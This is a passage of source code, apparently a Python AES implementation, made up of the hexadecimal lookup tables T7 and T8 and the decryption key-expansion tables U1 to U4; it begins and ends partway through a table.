0xf8d2bb3d, 0x11aef932, 0x6dc729a1, 0x4b1d9e2f, 0xf3dcb230, 0xec0d8652, 0xd077c1e3, 0x6c2bb316, 0x99a970b9, 0xfa119448, 0x2247e964, 0xc4a8fc8c, 0x1aa0f03f, 0xd8567d2c, 0xef223390, 0xc787494e, 0xc1d938d1, 0xfe8ccaa2, 0x3698d40b, 0xcfa6f581, 0x28a57ade, 0x26dab78e, 0xa43fadbf, 0xe42c3a9d, 0x0d507892, 0x9b6a5fcc, 0x62547e46, 0xc2f68d13, 0xe890d8b8, 0x5e2e39f7, 0xf582c3af, 0xbe9f5d80, 0x7c69d093, 0xa96fd52d, 0xb3cf2512, 0x3bc8ac99, 0xa710187d, 0x6ee89c63, 0x7bdb3bbb, 0x09cd2678, 0xf46e5918, 0x01ec9ab7, 0xa8834f9a, 0x65e6956e, 0x7eaaffe6, 0x0821bccf, 0xe6ef15e8, 0xd9bae79b, 0xce4a6f36, 0xd4ea9f09, 0xd629b07c, 0xaf31a4b2, 0x312a3f23, 0x30c6a594, 0xc035a266, 0x37744ebc, 0xa6fc82ca, 0xb0e090d0, 0x1533a7d8, 0x4af10498, 0xf741ecda, 0x0e7fcd50, 0x2f1791f6, 0x8d764dd6, 0x4d43efb0, 0x54ccaa4d, 0xdfe49604, 0xe39ed1b5, 0x1b4c6a88, 0xb8c12c1f, 0x7f466551, 0x049d5eea, 0x5d018c35, 0x73fa8774, 0x2efb0b41, 0x5ab3671d, 0x5292dbd2, 0x33e91056, 0x136dd647, 0x8c9ad761, 0x7a37a10c, 0x8e59f814, 0x89eb133c, 0xeecea927, 0x35b761c9, 0xede11ce5, 0x3c7a47b1, 0x599cd2df, 0x3f55f273, 0x791814ce, 0xbf73c737, 0xea53f7cd, 0x5b5ffdaa, 0x14df3d6f, 0x867844db, 0x81caaff3, 0x3eb968c4, 0x2c382434, 0x5fc2a340, 0x72161dc3, 0x0cbce225, 0x8b283c49, 0x41ff0d95, 0x7139a801, 0xde080cb3, 0x9cd8b4e4, 0x906456c1, 0x617bcb84, 0x70d532b6, 0x74486c5c, 0x42d0b857] T7 = [0xa75051f4, 0x65537e41, 0xa4c31a17, 0x5e963a27, 0x6bcb3bab, 0x45f11f9d, 0x58abacfa, 0x03934be3, 0xfa552030, 0x6df6ad76, 0x769188cc, 0x4c25f502, 0xd7fc4fe5, 0xcbd7c52a, 0x44802635, 0xa38fb562, 0x5a49deb1, 0x1b6725ba, 0x0e9845ea, 0xc0e15dfe, 0x7502c32f, 0xf012814c, 0x97a38d46, 0xf9c66bd3, 0x5fe7038f, 0x9c951592, 0x7aebbf6d, 0x59da9552, 0x832dd4be, 0x21d35874, 0x692949e0, 0xc8448ec9, 0x896a75c2, 0x7978f48e, 0x3e6b9958, 0x71dd27b9, 0x4fb6bee1, 0xad17f088, 0xac66c920, 0x3ab47dce, 0x4a1863df, 0x3182e51a, 0x33609751, 0x7f456253, 0x77e0b164, 0xae84bb6b, 0xa01cfe81, 0x2b94f908, 0x68587048, 0xfd198f45, 0x6c8794de, 0xf8b7527b, 0xd323ab73, 0x02e2724b, 0x8f57e31f, 0xab2a6655, 0x2807b2eb, 0xc2032fb5, 0x7b9a86c5, 0x08a5d337, 0x87f23028, 0xa5b223bf, 0x6aba0203, 0x825ced16, 0x1c2b8acf, 0xb492a779, 0xf2f0f307, 0xe2a14e69, 0xf4cd65da, 0xbed50605, 0x621fd134, 0xfe8ac4a6, 0x539d342e, 0x55a0a2f3, 0xe132058a, 0xeb75a4f6, 0xec390b83, 0xefaa4060, 0x9f065e71, 0x1051bd6e, 0x8af93e21, 0x063d96dd, 0x05aedd3e, 0xbd464de6, 0x8db59154, 0x5d0571c4, 0xd46f0406, 0x15ff6050, 0xfb241998, 0xe997d6bd, 0x43cc8940, 0x9e7767d9, 0x42bdb0e8, 0x8b880789, 0x5b38e719, 0xeedb79c8, 0x0a47a17c, 0x0fe97c42, 0x1ec9f884, 0x00000000, 0x86830980, 0xed48322b, 0x70ac1e11, 0x724e6c5a, 0xfffbfd0e, 0x38560f85, 0xd51e3dae, 0x3927362d, 0xd9640a0f, 0xa621685c, 0x54d19b5b, 0x2e3a2436, 0x67b10c0a, 0xe70f9357, 0x96d2b4ee, 0x919e1b9b, 0xc54f80c0, 0x20a261dc, 0x4b695a77, 0x1a161c12, 0xba0ae293, 0x2ae5c0a0, 0xe0433c22, 0x171d121b, 0x0d0b0e09, 0xc7adf28b, 0xa8b92db6, 0xa9c8141e, 0x198557f1, 0x074caf75, 0xddbbee99, 0x60fda37f, 0x269ff701, 0xf5bc5c72, 0x3bc54466, 0x7e345bfb, 0x29768b43, 0xc6dccb23, 0xfc68b6ed, 0xf163b8e4, 0xdccad731, 0x85104263, 0x22401397, 0x112084c6, 0x247d854a, 0x3df8d2bb, 0x3211aef9, 0xa16dc729, 0x2f4b1d9e, 0x30f3dcb2, 0x52ec0d86, 0xe3d077c1, 0x166c2bb3, 0xb999a970, 0x48fa1194, 0x642247e9, 0x8cc4a8fc, 0x3f1aa0f0, 0x2cd8567d, 0x90ef2233, 0x4ec78749, 0xd1c1d938, 0xa2fe8cca, 0x0b3698d4, 0x81cfa6f5, 0xde28a57a, 0x8e26dab7, 0xbfa43fad, 0x9de42c3a, 0x920d5078, 0xcc9b6a5f, 0x4662547e, 0x13c2f68d, 0xb8e890d8, 0xf75e2e39, 0xaff582c3, 0x80be9f5d, 0x937c69d0, 0x2da96fd5, 0x12b3cf25, 0x993bc8ac, 0x7da71018, 0x636ee89c, 0xbb7bdb3b, 0x7809cd26, 0x18f46e59, 0xb701ec9a, 0x9aa8834f, 0x6e65e695, 0xe67eaaff, 0xcf0821bc, 0xe8e6ef15, 0x9bd9bae7, 0x36ce4a6f, 0x09d4ea9f, 0x7cd629b0, 0xb2af31a4, 0x23312a3f, 0x9430c6a5, 0x66c035a2, 0xbc37744e, 0xcaa6fc82, 0xd0b0e090, 0xd81533a7, 0x984af104, 0xdaf741ec, 0x500e7fcd, 0xf62f1791, 0xd68d764d, 0xb04d43ef, 0x4d54ccaa, 0x04dfe496, 0xb5e39ed1, 0x881b4c6a, 0x1fb8c12c, 0x517f4665, 0xea049d5e, 0x355d018c, 0x7473fa87, 0x412efb0b, 0x1d5ab367, 0xd25292db, 0x5633e910, 0x47136dd6, 0x618c9ad7, 0x0c7a37a1, 0x148e59f8, 0x3c89eb13, 0x27eecea9, 0xc935b761, 0xe5ede11c, 0xb13c7a47, 0xdf599cd2, 0x733f55f2, 0xce791814, 0x37bf73c7, 0xcdea53f7, 0xaa5b5ffd, 0x6f14df3d, 0xdb867844, 0xf381caaf, 0xc43eb968, 0x342c3824, 0x405fc2a3, 0xc372161d, 0x250cbce2, 0x498b283c, 0x9541ff0d, 0x017139a8, 0xb3de080c, 0xe49cd8b4, 0xc1906456, 0x84617bcb, 0xb670d532, 0x5c74486c, 0x5742d0b8] T8 = [0xf4a75051, 0x4165537e, 0x17a4c31a, 0x275e963a, 0xab6bcb3b, 0x9d45f11f, 0xfa58abac, 0xe303934b, 0x30fa5520, 0x766df6ad, 0xcc769188, 0x024c25f5, 0xe5d7fc4f, 0x2acbd7c5, 0x35448026, 0x62a38fb5, 0xb15a49de, 0xba1b6725, 0xea0e9845, 0xfec0e15d, 0x2f7502c3, 0x4cf01281, 0x4697a38d, 0xd3f9c66b, 0x8f5fe703, 0x929c9515, 0x6d7aebbf, 0x5259da95, 0xbe832dd4, 0x7421d358, 0xe0692949, 0xc9c8448e, 0xc2896a75, 0x8e7978f4, 0x583e6b99, 0xb971dd27, 0xe14fb6be, 0x88ad17f0, 0x20ac66c9, 0xce3ab47d, 0xdf4a1863, 0x1a3182e5, 0x51336097, 0x537f4562, 0x6477e0b1, 0x6bae84bb, 0x81a01cfe, 0x082b94f9, 0x48685870, 0x45fd198f, 0xde6c8794, 0x7bf8b752, 0x73d323ab, 0x4b02e272, 0x1f8f57e3, 0x55ab2a66, 0xeb2807b2, 0xb5c2032f, 0xc57b9a86, 0x3708a5d3, 0x2887f230, 0xbfa5b223, 0x036aba02, 0x16825ced, 0xcf1c2b8a, 0x79b492a7, 0x07f2f0f3, 0x69e2a14e, 0xdaf4cd65, 0x05bed506, 0x34621fd1, 0xa6fe8ac4, 0x2e539d34, 0xf355a0a2, 0x8ae13205, 0xf6eb75a4, 0x83ec390b, 0x60efaa40, 0x719f065e, 0x6e1051bd, 0x218af93e, 0xdd063d96, 0x3e05aedd, 0xe6bd464d, 0x548db591, 0xc45d0571, 0x06d46f04, 0x5015ff60, 0x98fb2419, 0xbde997d6, 0x4043cc89, 0xd99e7767, 0xe842bdb0, 0x898b8807, 0x195b38e7, 0xc8eedb79, 0x7c0a47a1, 0x420fe97c, 0x841ec9f8, 0x00000000, 0x80868309, 0x2bed4832, 0x1170ac1e, 0x5a724e6c, 0x0efffbfd, 0x8538560f, 0xaed51e3d, 0x2d392736, 0x0fd9640a, 0x5ca62168, 0x5b54d19b, 0x362e3a24, 0x0a67b10c, 0x57e70f93, 0xee96d2b4, 0x9b919e1b, 0xc0c54f80, 0xdc20a261, 0x774b695a, 0x121a161c, 0x93ba0ae2, 0xa02ae5c0, 0x22e0433c, 0x1b171d12, 0x090d0b0e, 0x8bc7adf2, 0xb6a8b92d, 0x1ea9c814, 0xf1198557, 0x75074caf, 0x99ddbbee, 0x7f60fda3, 0x01269ff7, 0x72f5bc5c, 0x663bc544, 0xfb7e345b, 0x4329768b, 0x23c6dccb, 0xedfc68b6, 0xe4f163b8, 0x31dccad7, 0x63851042, 0x97224013, 0xc6112084, 0x4a247d85, 0xbb3df8d2, 0xf93211ae, 0x29a16dc7, 0x9e2f4b1d, 0xb230f3dc, 0x8652ec0d, 0xc1e3d077, 0xb3166c2b, 0x70b999a9, 0x9448fa11, 0xe9642247, 0xfc8cc4a8, 0xf03f1aa0, 0x7d2cd856, 0x3390ef22, 0x494ec787, 0x38d1c1d9, 0xcaa2fe8c, 0xd40b3698, 0xf581cfa6, 0x7ade28a5, 0xb78e26da, 0xadbfa43f, 0x3a9de42c, 0x78920d50, 0x5fcc9b6a, 0x7e466254, 0x8d13c2f6, 0xd8b8e890, 0x39f75e2e, 0xc3aff582, 0x5d80be9f, 0xd0937c69, 0xd52da96f, 0x2512b3cf, 0xac993bc8, 0x187da710, 0x9c636ee8, 0x3bbb7bdb, 0x267809cd, 0x5918f46e, 0x9ab701ec, 0x4f9aa883, 0x956e65e6, 0xffe67eaa, 0xbccf0821, 0x15e8e6ef, 0xe79bd9ba, 0x6f36ce4a, 0x9f09d4ea, 0xb07cd629, 0xa4b2af31, 0x3f23312a, 0xa59430c6, 0xa266c035, 0x4ebc3774, 0x82caa6fc, 0x90d0b0e0, 0xa7d81533, 0x04984af1, 0xecdaf741, 0xcd500e7f, 0x91f62f17, 0x4dd68d76, 0xefb04d43, 0xaa4d54cc, 0x9604dfe4, 0xd1b5e39e, 0x6a881b4c, 0x2c1fb8c1, 0x65517f46, 0x5eea049d, 0x8c355d01, 0x877473fa, 0x0b412efb, 0x671d5ab3, 0xdbd25292, 0x105633e9, 0xd647136d, 0xd7618c9a, 0xa10c7a37, 0xf8148e59, 0x133c89eb, 0xa927eece, 0x61c935b7, 0x1ce5ede1, 0x47b13c7a, 0xd2df599c, 0xf2733f55, 0x14ce7918, 0xc737bf73, 0xf7cdea53, 0xfdaa5b5f, 0x3d6f14df, 0x44db8678, 0xaff381ca, 0x68c43eb9, 0x24342c38, 0xa3405fc2, 0x1dc37216, 0xe2250cbc, 0x3c498b28, 0x0d9541ff, 0xa8017139, 0x0cb3de08, 0xb4e49cd8, 0x56c19064, 0xcb84617b, 0x32b670d5, 0x6c5c7448, 0xb85742d0] # Transformations for decryption key expansion U1 = [0x00000000, 0x0e090d0b, 0x1c121a16, 0x121b171d, 0x3824342c, 0x362d3927, 0x24362e3a, 0x2a3f2331, 0x70486858, 0x7e416553, 0x6c5a724e, 0x62537f45, 0x486c5c74, 0x4665517f, 0x547e4662, 0x5a774b69, 0xe090d0b0, 0xee99ddbb, 0xfc82caa6, 0xf28bc7ad, 0xd8b4e49c, 0xd6bde997, 0xc4a6fe8a, 0xcaaff381, 0x90d8b8e8, 0x9ed1b5e3, 0x8ccaa2fe, 0x82c3aff5, 0xa8fc8cc4, 0xa6f581cf, 0xb4ee96d2, 0xbae79bd9, 0xdb3bbb7b, 0xd532b670, 0xc729a16d, 0xc920ac66, 0xe31f8f57, 0xed16825c, 0xff0d9541, 0xf104984a, 0xab73d323, 0xa57ade28, 0xb761c935, 0xb968c43e, 0x9357e70f, 0x9d5eea04, 0x8f45fd19, 0x814cf012, 0x3bab6bcb, 0x35a266c0, 0x27b971dd, 0x29b07cd6, 0x038f5fe7, 0x0d8652ec, 0x1f9d45f1, 0x119448fa, 0x4be30393, 0x45ea0e98, 0x57f11985, 0x59f8148e, 0x73c737bf, 0x7dce3ab4, 0x6fd52da9, 0x61dc20a2, 0xad766df6, 0xa37f60fd, 0xb16477e0, 0xbf6d7aeb, 0x955259da, 0x9b5b54d1, 0x894043cc, 0x87494ec7, 0xdd3e05ae, 0xd33708a5, 0xc12c1fb8, 0xcf2512b3, 0xe51a3182, 0xeb133c89, 0xf9082b94, 0xf701269f, 0x4de6bd46, 0x43efb04d, 0x51f4a750, 0x5ffdaa5b, 0x75c2896a, 0x7bcb8461, 0x69d0937c, 0x67d99e77, 0x3daed51e, 0x33a7d815, 0x21bccf08, 0x2fb5c203, 0x058ae132, 0x0b83ec39, 0x1998fb24, 0x1791f62f, 0x764dd68d, 0x7844db86, 0x6a5fcc9b, 0x6456c190, 0x4e69e2a1, 0x4060efaa, 0x527bf8b7, 0x5c72f5bc, 0x0605bed5, 0x080cb3de, 0x1a17a4c3, 0x141ea9c8, 0x3e218af9, 0x302887f2, 0x223390ef, 0x2c3a9de4, 0x96dd063d, 0x98d40b36, 0x8acf1c2b, 0x84c61120, 0xaef93211, 0xa0f03f1a, 0xb2eb2807, 0xbce2250c, 0xe6956e65, 0xe89c636e, 0xfa877473, 0xf48e7978, 0xdeb15a49, 0xd0b85742, 0xc2a3405f, 0xccaa4d54, 0x41ecdaf7, 0x4fe5d7fc, 0x5dfec0e1, 0x53f7cdea, 0x79c8eedb, 0x77c1e3d0, 0x65daf4cd, 0x6bd3f9c6, 0x31a4b2af, 0x3fadbfa4, 0x2db6a8b9, 0x23bfa5b2, 0x09808683, 0x07898b88, 0x15929c95, 0x1b9b919e, 0xa17c0a47, 0xaf75074c, 0xbd6e1051, 0xb3671d5a, 0x99583e6b, 0x97513360, 0x854a247d, 0x8b432976, 0xd134621f, 0xdf3d6f14, 0xcd267809, 0xc32f7502, 0xe9105633, 0xe7195b38, 0xf5024c25, 0xfb0b412e, 0x9ad7618c, 0x94de6c87, 0x86c57b9a, 0x88cc7691, 0xa2f355a0, 0xacfa58ab, 0xbee14fb6, 0xb0e842bd, 0xea9f09d4, 0xe49604df, 0xf68d13c2, 0xf8841ec9, 0xd2bb3df8, 0xdcb230f3, 0xcea927ee, 0xc0a02ae5, 0x7a47b13c, 0x744ebc37, 0x6655ab2a, 0x685ca621, 0x42638510, 0x4c6a881b, 0x5e719f06, 0x5078920d, 0x0a0fd964, 0x0406d46f, 0x161dc372, 0x1814ce79, 0x322bed48, 0x3c22e043, 0x2e39f75e, 0x2030fa55, 0xec9ab701, 0xe293ba0a, 0xf088ad17, 0xfe81a01c, 0xd4be832d, 0xdab78e26, 0xc8ac993b, 0xc6a59430, 0x9cd2df59, 0x92dbd252, 0x80c0c54f, 0x8ec9c844, 0xa4f6eb75, 0xaaffe67e, 0xb8e4f163, 0xb6edfc68, 0x0c0a67b1, 0x02036aba, 0x10187da7, 0x1e1170ac, 0x342e539d, 0x3a275e96, 0x283c498b, 0x26354480, 0x7c420fe9, 0x724b02e2, 0x605015ff, 0x6e5918f4, 0x44663bc5, 0x4a6f36ce, 0x587421d3, 0x567d2cd8, 0x37a10c7a, 0x39a80171, 0x2bb3166c, 0x25ba1b67, 0x0f853856, 0x018c355d, 0x13972240, 0x1d9e2f4b, 0x47e96422, 0x49e06929, 0x5bfb7e34, 0x55f2733f, 0x7fcd500e, 0x71c45d05, 0x63df4a18, 0x6dd64713, 0xd731dcca, 0xd938d1c1, 0xcb23c6dc, 0xc52acbd7, 0xef15e8e6, 0xe11ce5ed, 0xf307f2f0, 0xfd0efffb, 0xa779b492, 0xa970b999, 0xbb6bae84, 0xb562a38f, 0x9f5d80be, 0x91548db5, 0x834f9aa8, 0x8d4697a3] U2 = [0x00000000, 0x0b0e090d, 0x161c121a, 0x1d121b17, 0x2c382434, 0x27362d39, 0x3a24362e, 0x312a3f23, 0x58704868, 0x537e4165, 0x4e6c5a72, 0x4562537f, 0x74486c5c, 0x7f466551, 0x62547e46, 0x695a774b, 0xb0e090d0, 0xbbee99dd, 0xa6fc82ca, 0xadf28bc7, 0x9cd8b4e4, 0x97d6bde9, 0x8ac4a6fe, 0x81caaff3, 0xe890d8b8, 0xe39ed1b5, 0xfe8ccaa2, 0xf582c3af, 0xc4a8fc8c, 0xcfa6f581, 0xd2b4ee96, 0xd9bae79b, 0x7bdb3bbb, 0x70d532b6, 0x6dc729a1, 0x66c920ac, 0x57e31f8f, 0x5ced1682, 0x41ff0d95, 0x4af10498, 0x23ab73d3, 0x28a57ade, 0x35b761c9, 0x3eb968c4, 0x0f9357e7, 0x049d5eea, 0x198f45fd, 0x12814cf0, 0xcb3bab6b, 0xc035a266, 0xdd27b971, 0xd629b07c, 0xe7038f5f, 0xec0d8652, 0xf11f9d45, 0xfa119448, 0x934be303, 0x9845ea0e, 0x8557f119, 0x8e59f814, 0xbf73c737, 0xb47dce3a, 0xa96fd52d, 0xa261dc20, 0xf6ad766d, 0xfda37f60, 0xe0b16477, 0xebbf6d7a, 0xda955259, 0xd19b5b54, 0xcc894043, 0xc787494e, 0xaedd3e05, 0xa5d33708, 0xb8c12c1f, 0xb3cf2512, 0x82e51a31, 0x89eb133c, 0x94f9082b, 0x9ff70126, 0x464de6bd, 0x4d43efb0, 0x5051f4a7, 0x5b5ffdaa, 0x6a75c289, 0x617bcb84, 0x7c69d093, 0x7767d99e, 0x1e3daed5, 0x1533a7d8, 0x0821bccf, 0x032fb5c2, 0x32058ae1, 0x390b83ec, 0x241998fb, 0x2f1791f6, 0x8d764dd6, 0x867844db, 0x9b6a5fcc, 0x906456c1, 0xa14e69e2, 0xaa4060ef, 0xb7527bf8, 0xbc5c72f5, 0xd50605be, 0xde080cb3, 0xc31a17a4, 0xc8141ea9, 0xf93e218a, 0xf2302887, 0xef223390, 0xe42c3a9d, 0x3d96dd06, 0x3698d40b, 0x2b8acf1c, 0x2084c611, 0x11aef932, 0x1aa0f03f, 0x07b2eb28, 0x0cbce225, 0x65e6956e, 0x6ee89c63, 0x73fa8774, 0x78f48e79, 0x49deb15a, 0x42d0b857, 0x5fc2a340, 0x54ccaa4d, 0xf741ecda, 0xfc4fe5d7, 0xe15dfec0, 0xea53f7cd, 0xdb79c8ee, 0xd077c1e3, 0xcd65daf4, 0xc66bd3f9, 0xaf31a4b2, 0xa43fadbf, 0xb92db6a8, 0xb223bfa5, 0x83098086, 0x8807898b, 0x9515929c, 0x9e1b9b91, 0x47a17c0a, 0x4caf7507, 0x51bd6e10, 0x5ab3671d, 0x6b99583e, 0x60975133, 0x7d854a24, 0x768b4329, 0x1fd13462, 0x14df3d6f, 0x09cd2678, 0x02c32f75, 0x33e91056, 0x38e7195b, 0x25f5024c, 0x2efb0b41, 0x8c9ad761, 0x8794de6c, 0x9a86c57b, 0x9188cc76, 0xa0a2f355, 0xabacfa58, 0xb6bee14f, 0xbdb0e842, 0xd4ea9f09, 0xdfe49604, 0xc2f68d13, 0xc9f8841e, 0xf8d2bb3d, 0xf3dcb230, 0xeecea927, 0xe5c0a02a, 0x3c7a47b1, 0x37744ebc, 0x2a6655ab, 0x21685ca6, 0x10426385, 0x1b4c6a88, 0x065e719f, 0x0d507892, 0x640a0fd9, 0x6f0406d4, 0x72161dc3, 0x791814ce, 0x48322bed, 0x433c22e0, 0x5e2e39f7, 0x552030fa, 0x01ec9ab7, 0x0ae293ba, 0x17f088ad, 0x1cfe81a0, 0x2dd4be83, 0x26dab78e, 0x3bc8ac99, 0x30c6a594, 0x599cd2df, 0x5292dbd2, 0x4f80c0c5, 0x448ec9c8, 0x75a4f6eb, 0x7eaaffe6, 0x63b8e4f1, 0x68b6edfc, 0xb10c0a67, 0xba02036a, 0xa710187d, 0xac1e1170, 0x9d342e53, 0x963a275e, 0x8b283c49, 0x80263544, 0xe97c420f, 0xe2724b02, 0xff605015, 0xf46e5918, 0xc544663b, 0xce4a6f36, 0xd3587421, 0xd8567d2c, 0x7a37a10c, 0x7139a801, 0x6c2bb316, 0x6725ba1b, 0x560f8538, 0x5d018c35, 0x40139722, 0x4b1d9e2f, 0x2247e964, 0x2949e069, 0x345bfb7e, 0x3f55f273, 0x0e7fcd50, 0x0571c45d, 0x1863df4a, 0x136dd647, 0xcad731dc, 0xc1d938d1, 0xdccb23c6, 0xd7c52acb, 0xe6ef15e8, 0xede11ce5, 0xf0f307f2, 0xfbfd0eff, 0x92a779b4, 0x99a970b9, 0x84bb6bae, 0x8fb562a3, 0xbe9f5d80, 0xb591548d, 0xa8834f9a, 0xa38d4697] U3 = [0x00000000, 0x0d0b0e09, 0x1a161c12, 0x171d121b, 0x342c3824, 0x3927362d, 0x2e3a2436, 0x23312a3f, 0x68587048, 0x65537e41, 0x724e6c5a, 0x7f456253, 0x5c74486c, 0x517f4665, 0x4662547e, 0x4b695a77, 0xd0b0e090, 0xddbbee99, 0xcaa6fc82, 0xc7adf28b, 0xe49cd8b4, 0xe997d6bd, 0xfe8ac4a6, 0xf381caaf, 0xb8e890d8, 0xb5e39ed1, 0xa2fe8cca, 0xaff582c3, 0x8cc4a8fc, 0x81cfa6f5, 0x96d2b4ee, 0x9bd9bae7, 0xbb7bdb3b, 0xb670d532, 0xa16dc729, 0xac66c920, 0x8f57e31f, 0x825ced16, 0x9541ff0d, 0x984af104, 0xd323ab73, 0xde28a57a, 0xc935b761, 0xc43eb968, 0xe70f9357, 0xea049d5e, 0xfd198f45, 0xf012814c, 0x6bcb3bab, 0x66c035a2, 0x71dd27b9, 0x7cd629b0, 0x5fe7038f, 0x52ec0d86, 0x45f11f9d, 0x48fa1194, 0x03934be3, 0x0e9845ea, 0x198557f1, 0x148e59f8, 0x37bf73c7, 0x3ab47dce, 0x2da96fd5, 0x20a261dc, 0x6df6ad76, 0x60fda37f, 0x77e0b164, 0x7aebbf6d, 0x59da9552, 0x54d19b5b, 0x43cc8940, 0x4ec78749, 0x05aedd3e, 0x08a5d337, 0x1fb8c12c, 0x12b3cf25, 0x3182e51a, 0x3c89eb13, 0x2b94f908, 0x269ff701, 0xbd464de6, 0xb04d43ef, 0xa75051f4, 0xaa5b5ffd, 0x896a75c2, 0x84617bcb, 0x937c69d0, 0x9e7767d9, 0xd51e3dae, 0xd81533a7, 0xcf0821bc, 0xc2032fb5, 0xe132058a, 0xec390b83, 0xfb241998, 0xf62f1791, 0xd68d764d, 0xdb867844, 0xcc9b6a5f, 0xc1906456, 0xe2a14e69, 0xefaa4060, 0xf8b7527b, 0xf5bc5c72, 0xbed50605, 0xb3de080c, 0xa4c31a17, 0xa9c8141e, 0x8af93e21, 0x87f23028, 0x90ef2233, 0x9de42c3a, 0x063d96dd, 0x0b3698d4, 0x1c2b8acf, 0x112084c6, 0x3211aef9, 0x3f1aa0f0, 0x2807b2eb, 0x250cbce2, 0x6e65e695, 0x636ee89c, 0x7473fa87, 0x7978f48e, 0x5a49deb1, 0x5742d0b8, 0x405fc2a3, 0x4d54ccaa, 0xdaf741ec, 0xd7fc4fe5, 0xc0e15dfe, 0xcdea53f7, 0xeedb79c8, 0xe3d077c1, 0xf4cd65da, 0xf9c66bd3, 0xb2af31a4, 0xbfa43fad, 0xa8b92db6, 0xa5b223bf, 0x86830980, 0x8b880789, 0x9c951592, 0x919e1b9b, 0x0a47a17c, 0x074caf75, 0x1051bd6e, 0x1d5ab367, 0x3e6b9958, 0x33609751, 0x247d854a, 0x29768b43, 0x621fd134, 0x6f14df3d, 0x7809cd26, 0x7502c32f, 0x5633e910, 0x5b38e719, 0x4c25f502, 0x412efb0b, 0x618c9ad7, 0x6c8794de, 0x7b9a86c5, 0x769188cc, 0x55a0a2f3, 0x58abacfa, 0x4fb6bee1, 0x42bdb0e8, 0x09d4ea9f, 0x04dfe496, 0x13c2f68d, 0x1ec9f884, 0x3df8d2bb, 0x30f3dcb2, 0x27eecea9, 0x2ae5c0a0, 0xb13c7a47, 0xbc37744e, 0xab2a6655, 0xa621685c, 0x85104263, 0x881b4c6a, 0x9f065e71, 0x920d5078, 0xd9640a0f, 0xd46f0406, 0xc372161d, 0xce791814, 0xed48322b, 0xe0433c22, 0xf75e2e39, 0xfa552030, 0xb701ec9a, 0xba0ae293, 0xad17f088, 0xa01cfe81, 0x832dd4be, 0x8e26dab7, 0x993bc8ac, 0x9430c6a5, 0xdf599cd2, 0xd25292db, 0xc54f80c0, 0xc8448ec9, 0xeb75a4f6, 0xe67eaaff, 0xf163b8e4, 0xfc68b6ed, 0x67b10c0a, 0x6aba0203, 0x7da71018, 0x70ac1e11, 0x539d342e, 0x5e963a27, 0x498b283c, 0x44802635, 0x0fe97c42, 0x02e2724b, 0x15ff6050, 0x18f46e59, 0x3bc54466, 0x36ce4a6f, 0x21d35874, 0x2cd8567d, 0x0c7a37a1, 0x017139a8, 0x166c2bb3, 0x1b6725ba, 0x38560f85, 0x355d018c, 0x22401397, 0x2f4b1d9e, 0x642247e9, 0x692949e0, 0x7e345bfb, 0x733f55f2, 0x500e7fcd, 0x5d0571c4, 0x4a1863df, 0x47136dd6, 0xdccad731, 0xd1c1d938, 0xc6dccb23, 0xcbd7c52a, 0xe8e6ef15, 0xe5ede11c, 0xf2f0f307, 0xfffbfd0e, 0xb492a779, 0xb999a970, 0xae84bb6b, 0xa38fb562, 0x80be9f5d, 0x8db59154, 0x9aa8834f, 0x97a38d46] U4 = [0x00000000, 0x090d0b0e, 0x121a161c, 0x1b171d12, 0x24342c38, 0x2d392736, 0x362e3a24, 0x3f23312a, 0x48685870, 0x4165537e, 0x5a724e6c, 0x537f4562, 0x6c5c7448, 0x65517f46, 0x7e466254, 0x774b695a, 0x90d0b0e0, 0x99ddbbee, 0x82caa6fc, 0x8bc7adf2, 0xb4e49cd8, 0xbde997d6, 0xa6fe8ac4, 0xaff381ca, 0xd8b8e890, 0xd1b5e39e, 0xcaa2fe8c, 0xc3aff582, 0xfc8cc4a8, 0xf581cfa6, 0xee96d2b4, 0xe79bd9ba, 0x3bbb7bdb, 0x32b670d5, 0x29a16dc7, 0x20ac66c9, 0x1f8f57e3, 0x16825ced, 0x0d9541ff, 0x04984af1, 0x73d323ab, 0x7ade28a5, 0x61c935b7, 0x68c43eb9, 0x57e70f93, 0x5eea049d, 0x45fd198f, 0x4cf01281, 0xab6bcb3b, 0xa266c035, 0xb971dd27, 0xb07cd629, 0x8f5fe703, 0x8652ec0d, 0x9d45f11f, 0x9448fa11, 0xe303934b, 0xea0e9845, 0xf1198557, 0xf8148e59, 0xc737bf73, 0xce3ab47d, 0xd52da96f, 0xdc20a261, 0x766df6ad, 0x7f60fda3, 0x6477e0b1, 0x6d7aebbf, 0x5259da95, 0x5b54d19b, 0x4043cc89, 0x494ec787, 0x3e05aedd, 0x3708a5d3, 0x2c1fb8c1, 0x2512b3cf, 0x1a3182e5, 0x133c89eb, 0x082b94f9, 0x01269ff7, 0xe6bd464d, 0xefb04d43, 0xf4a75051, 0xfdaa5b5f, 0xc2896a75, 0xcb84617b, 0xd0937c69, 0xd99e7767, 0xaed51e3d, 0xa7d81533, 0xbccf0821, 0xb5c2032f, 0x8ae13205, 0x83ec390b, 0x98fb2419, 0x91f62f17, 0x4dd68d76, 0x44db8678, 0x5fcc9b6a, 0x56c19064, 0x69e2a14e, 0x60efaa40, 0x7bf8b752, 0x72f5bc5c, 0x05bed506, 0x0cb3de08, 0x17a4c31a, 0x1ea9c814, 0x218af93e, 0x2887f230, 0x3390ef22, 0x3a9de42c, 0xdd063d96, 0xd40b3698, 0xcf1c2b8a, 0xc6112084, 0xf93211ae, 0xf03f1aa0, 0xeb2807b2, 0xe2250cbc, 0x956e65e6, 0x9c636ee8, 0x877473fa, 0x8e7978f4, 0xb15a49de, 0xb85742d0, 0xa3405fc2, 0xaa4d54cc, 0xecdaf741, 0xe5d7fc4f, 0xfec0e15d, 0xf7cdea53, 0xc8eedb79, 0xc1e3d077, 0xdaf4cd65, 0xd3f9c66b, 0xa4b2af31, 0xadbfa43f, 0xb6a8b92d, 0xbfa5b223, 0x80868309, 0x898b8807, 0x929c9515, 0x9b919e1b, 0x7c0a47a1, 0x75074caf, 0x6e1051bd, 0x671d5ab3, 0x583e6b99, 0x51336097, 0x4a247d85, 0x4329768b, 0x34621fd1, 0x3d6f14df, 0x267809cd, 0x2f7502c3, 0x105633e9, 0x195b38e7, 0x024c25f5, 0x0b412efb, 0xd7618c9a, 0xde6c8794, 0xc57b9a86, 0xcc769188, 0xf355a0a2, 0xfa58abac, 0xe14fb6be, 0xe842bdb0, 0x9f09d4ea, 0x9604dfe4, 0x8d13c2f6, 0x841ec9f8, 0xbb3df8d2, 0xb230f3dc, 0xa927eece, 0xa02ae5c0, 0x47b13c7a, 0x4ebc3774, 0x55ab2a66, 0x5ca62168, 0x63851042, 0x6a881b4c, 0x719f065e, 0x78920d50, 0x0fd9640a, 0x06d46f04, 0x1dc37216, 0x14ce7918, 0x2bed4832, 0x22e0433c, 0x39f75e2e, 0x30fa5520, 0x9ab701ec, 0x93ba0ae2, 